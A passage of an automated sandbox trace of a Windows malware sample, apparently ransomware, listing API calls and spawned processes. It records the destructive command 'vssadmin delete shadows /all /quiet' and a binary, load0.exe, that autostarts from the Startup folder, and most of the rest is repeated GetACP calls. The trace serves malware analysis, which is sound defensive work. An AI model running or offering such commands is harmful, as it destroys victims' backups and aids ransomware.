(HeapHandle=0x1d64a970000, Flags=0x8, Size=0x12) returned 0x1d64a976e70 [0140.664] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0140.664] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0140.664] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.664] SetConsoleMode (hConsoleHandle=0xf94, dwMode=0x0) returned 0 [0140.664] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xa1288ff090*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xa1288ff068 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0xa1288ff068*(hProcess=0x94, hThread=0x98, dwProcessId=0x1c94, dwThreadId=0x1c98)) returned 1 [0143.978] CloseHandle (hObject=0x98) returned 1 [0143.978] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0143.978] GetProcessHeap () returned 0x1d64a970000 [0143.978] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a98a020) returned 1 [0143.978] GetEnvironmentStringsW () returned 0x1d64a989520* [0143.978] GetProcessHeap () returned 0x1d64a970000 [0143.978] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xaf2) returned 0x1d64a98a020 [0143.978] FreeEnvironmentStringsA (penv="=") returned 1 [0143.978] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xa1288fe568, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xa1288fe568, ReturnLength=0x0) returned 0x0 [0143.978] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xf849b91000, lpBuffer=0xa1288fe5a0, nSize=0x7a0, lpNumberOfBytesRead=0xa1288fe560 | out: lpBuffer=0xa1288fe5a0*, lpNumberOfBytesRead=0xa1288fe560*=0x7a0) returned 1 [0143.979] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) Thread: id = 864 os_tid = 0x1c3c Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6b79f000" os_pid = "0x9fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x1be4" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 849 os_tid = 0x7b8 Thread: id = 850 os_tid = 0xe84 Thread: id = 861 os_tid = 0x1c24 Thread: id = 862 os_tid = 0x1c30 Thread: id = 863 os_tid = 0x1c38 Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x67b60000" os_pid = "0x1c6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x1be4" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 865 os_tid = 0x1c70 Thread: id = 866 os_tid = 0x1c74 Thread: id = 867 os_tid = 0x1c78 Process: id = "5" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0xd718000" os_pid = "0x1c94" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x1be4" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 868 os_tid = 0x1c98 Thread: id = 869 os_tid = 0x1cd0 Process: id = "6" image_name = "load0.exe" filename = "c:\\windows\\system32\\load0.exe" page_root = "0x24222000" os_pid = "0xda0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Windows\\System32\\load0.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 872 os_tid = 0xda4 Process: id = "7" image_name = "load0.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe" page_root = "0xeeef000" os_pid = "0xdac" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 873 os_tid = 0xdb0 [0224.460] GetACP () returned 0x4e4 [0224.461] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.461] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.462] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.463] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.464] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.465] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.466] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.549] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.550] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.551] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.552] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.553] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.554] GetACP () returned 0x4e4 [0224.643] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.751] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] GetACP () returned 0x4e4 [0224.752] 